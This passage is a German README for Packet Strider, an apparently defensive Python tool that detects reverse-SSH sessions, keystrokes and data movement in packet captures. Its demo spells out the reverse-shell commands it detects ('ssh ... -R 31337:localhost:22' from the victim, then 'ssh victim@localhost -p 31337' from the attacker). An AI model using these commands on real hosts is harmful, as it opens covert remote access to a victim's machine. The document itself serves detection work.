• Die Verwendung der Option -R in der Weiterleitungssitzung – dies ermöglicht eine Reverse-Verbindung zu einem späteren Zeitpunkt in der Sitzung. Dieses Artefakt wird sehr früh in der Sitzung entdeckt, direkt nachdem die Weiterleitungssitzung authentifiziert wurde. Dies ist das erste verfügbare Warnsignal, dass Reverse-Sitzungen möglich sind.
• Die Einleitung der Reverse-SSH-Sitzung, die zu jedem Zeitpunkt (früh oder spät) in der Weiterleitungssitzung erfolgen kann. Dies wird erkannt, bevor die Reverse-Sitzung erfolgreich authentifiziert wurde. Dies ist das zweite Warnsignal: Eine Reverse-Sitzung wurde soeben angefordert und zur Authentifizierung eingerichtet.
• Erfolg und/oder Fehlschlag der Reverse-Sitzungsauthentifizierung. Dies ist das dritte und letzte Warnsignal; ab diesem Punkt weiß man, dass jemand auf dem Host in einer Reverse-Sitzung ist.
• Die Verwendung der Option -A (SSH-Agent-Weiterleitung), die es dem Client ermöglicht, seine lokalen SSH-Private-Keys mit dem Server zu teilen. Diese Funktionalität wird allgemein als gefährlich angesehen. Referenzen: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
• Alle Vorhersagen und Metadatenberichte auf Stream-Basis.
• Menschlich oder skriptgesteuert, basierend auf Zeitdifferenzen.
• Ist der Server dem Client bereits bekannt? Oder war es das erste Mal, dass eine Verbindung zwischen beiden hergestellt wurde? Dies wird durch Paketdifferenzen im Zusammenhang mit known_hosts ermittelt.
• Ob eine Client-Zertifikat- oder Passwort-Authentifizierung verwendet wurde und ob die Passwortlänge 8 Zeichen oder weniger beträgt.
• Tastenanschläge, Löschtaste, Eingabetaste (Ausschneiden/Einfügen und Pfeiltasten hoch/runter sind YMMV/experimentell).
• Exfiltrations-/Infiltration-Datenbewegungsvorhersagen in sowohl Weiterleitungs- als auch Reverse-Sitzungen.
• Funktioniert sowohl bei interaktiven Sitzungen als auch bei dateibasierten SSH-Dateiübertragungsanwendungen (z. B. scp, putty, cyberduck usw.).

Erste Schritte

Python3 wurde verwendet, und Sie benötigen die folgenden Module (YMMV bei Python2):

pip3 install pandas matplotlib pyshark

Verwendung:

python3 packetStrider-ssh.py -h

Ausgabe:

Beispiel

Das PCAP "forward_reverse.pcap" stammt von einer gängigen TTP einer Reverse-SSH-Shell, einem Liebling aller Red Teams. Insbesondere wurden die folgenden Befehle verwendet, um die Fähigkeiten von Packet Strider auf einfache Weise hervorzuheben:

• Weiterleitungsverbindung vom Opfer

  • Der Befehl für die Weiterleitungssitzung war ssh [email protected] -R 31337:localhost:22, der den lokalen Port 31337 für die spätere Reverse-SSH-Verbindung zurück zum Opfer-PC bindet. Diese Verbindung kann auf viele Arten hergestellt werden, einschließlich manuell, durch einen RCE, SSRF oder eine Form von Persistenz. Für die Zwecke dieser Demo handelt es sich um eine manuelle Standard-Weiterleitungssitzung.
  • Dies war NICHT das erste Mal, dass der Client den Server gesehen hat; wir sehen dies, weil das Delta für zusammenhängende Pakete sehr klein war – der Schlüsselfingerabdruck des Servers befand sich bereits im known_hosts des Clients, sodass der Benutzer nicht aufgefordert wurde, ihn hinzuzufügen, was die Latenz der Pakete erhöht hätte.
  • Zwei aufeinanderfolgende fehlgeschlagene Passwort-Anmeldungen durch einen Menschen, gefolgt von einer erfolgreichen Anmeldung mit einem Passwort mit 8+ Zeichen.
  • ls wird in der Weiterleitungssitzung eingegeben, und zwar in dieser Reihenfolge: 'l' 'w' 'w' 'Rücktaste' 'Rücktaste' 's' und dann Eingabe. Die Gesamtgröße der über das Kabel übertragenen Daten (als Ausgabe von ls) wird als Infiltration klassifiziert, da sie eingehend ist.

• Nun wird auf dem Rechner des Angreifers (dem Server) eine Reverse-Shell zurück zum Opfer initiiert:

  • ssh victim@localhost -p 31337. An diesem Punkt, der sogar vor Beginn des Authentifizierungsprozesses liegt, hat Packet Strider die Einleitung der Reverse-SSH-Sitzung identifiziert, bei Paket 72.
  • Nun hat der Angreifer eine Reverse-Shell auf dem Opfer-Host. Von hier aus kann er die History-Einstellungen ausschalten und beliebige laterale Bewegungen oder Plünderungen durchführen. Die einfachen Beispiele in dieser Demo sind anfängliche Benutzer-Rekon.
  • last wird in Form von Tastenanschlägen ausgeführt: 'l' 'a' 's' 'r' 'delete' 't' 'enter'
  • who wird in Form von 'w' 'h' 'o' 'enter' ausgeführt
  • exit wird in Form von 'e' 'x' 'i' 't' ausgeführt

• Dann wird schließlich die Weiterleitungssitzung geschlossen, nur um zu demonstrieren, dass die Weiterleitungs-SSH-Funktionserkennung immer noch funktioniert.

  • exit

Der Netzwerkverkehr dieser Aktivität wird in tcpdump.pcap gespeichert, und nun ist es Zeit, Packet Strider auszuführen.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Dieser Plot zeigt eine Zeitleiste der wichtigsten Vorhersagen (das Bild wurde hier annotiert)

Dieser Plot zeigt einige Fensterstatistiken, nützlich für tiefergehende Analysen und Experimente mit Merkmalen.

Dieser Plot zeigt ein einfaches Histogramm

Inspiration

Dieses Projekt wurde als persönlicher Proof of Concept erstellt, als eine Möglichkeit für mich, mit einigen Data-Science-Bibliotheken in Python zu üben. Es wurde stark inspiriert durch meine Coursera-Studien in Maschinellem Lernen und Data Science, insbesondere der Pandas-Bibliothek und der Art und Weise, wie Convolutional Neural Networks (CNN) mit gleitenden Fenstern durch Bildpixelmengen „schreiten", um bestimmte Merkmale darin zu erkennen.

Tipps

Packet Strider führt im vollständigen Kapazitätsmodus eine enorme Menge an „Striding" durch. Dies kann zu erheblicher Ressourcennutzung führen, wenn das PCAP groß ist oder genauer gesagt viele Pakete enthält. Hier sind einige Tipps zur Beschleunigung, die besonders für einen ersten Durchlauf nützlich sind, z. B. nur um zu sehen, ob eine Reverse-SSH-Aktivität vorhergesagt wurde, und dann nach Bedarf zusätzliche Funktionalität hinzuzufügen.

• Stellen Sie sicher, dass Sie die neuesten Patches der Module ausführen, die schwere Arbeit leisten, z. B. pyshark/tshark, pandas und matplotlib.
• Die Option -p --predict_plot ist der rechenintensivste Vorgang. Überlegen Sie, ob Sie zunächst nur mit der Ausgabe auf dem Terminal arbeiten und dann entscheiden, ob Sie diese geplottet haben möchten.
• Verwenden Sie die Option -m --metaonly. Diese ruft nur die übergeordneten Metadaten wie Protokollnamen und HASSH-Daten ab. Dies kann nützlich sein, um schnell festzustellen, ob Sie es mit einer interaktiven Sitzung mit OpenSSH oder mit einem Dateiübertragungsclient wie Cyberduck zu tun haben.
• Filtern Sie das PCAP vor auf den SSH-Verkehr.
• Filtern Sie das PCAP vor auf den gewünschten Stream, den Sie möglicherweise durch vorheriges Ausführen mit der schnellen Option -m --metaonly erfahren haben. Sie können nur Stream „NSTREAM" mit der Option „-n NSTREAM" untersuchen oder mit Wireshark o. ä. vorfiltern.
• Es kann vorkommen, dass Sie in einer Teilmenge eines sehr großen Paketsatzes etwas Interessantes identifizieren. Hier können Sie die Zoom-Funktion verwenden, um nur die Pakete in dem Bereich zu untersuchen und zu plotten, der Sie interessiert. Verwenden Sie dazu -z ZOOM, --zoom ZOOM, z. B. -z 100-500.
• Meistens werden Sie daran interessiert sein, Tastenanschlagaktivitäten zu verstehen. Obwohl die Nichtverwendung der Option -k die Verarbeitungsgeschwindigkeit erhöht, bedeutet dies auch, dass Sie diese wertvolle Einsicht nicht erhalten.

TODO

• Mehr Protokolle!
• Betrachten von Multithreading und prüfen, wo dies die Verarbeitungsgeschwindigkeit verbessern kann.
• Effizienz des Skripts verbessern, insbesondere die Plotzeiten.
• Indikator für Einfügen verbessern.
• Indikator für Pfeiltasten hoch/runter verbessern.
• Plots mit ImageMagick oder ähnlichem annotieren.
• Berichtsfunktion verbessern, auf Festplatte schreiben.
• Der Reverse-Tastenindikator ist konservativ, da die Paketkapselung potenziell zwei Tastenanschläge melden kann. Dieses Problem besteht bei Weiterleitungstastenanschlägen nicht, da die Paketreihenfolge für den Fall behandelnd wurde, dass sie außer der Reihe eintreffen. Optionen hier prüfen.
• Für Geschwindigkeit nach Golang portieren.
• Echtzeit-Modus.
• Auswirkung zusätzlicher Tunnel lokaler Ports über die Weiterleitungsverbindung untersuchen.

Haftungsausschluss

Nutzung auf eigenes Risiko. Siehe Lizenzbedingungen.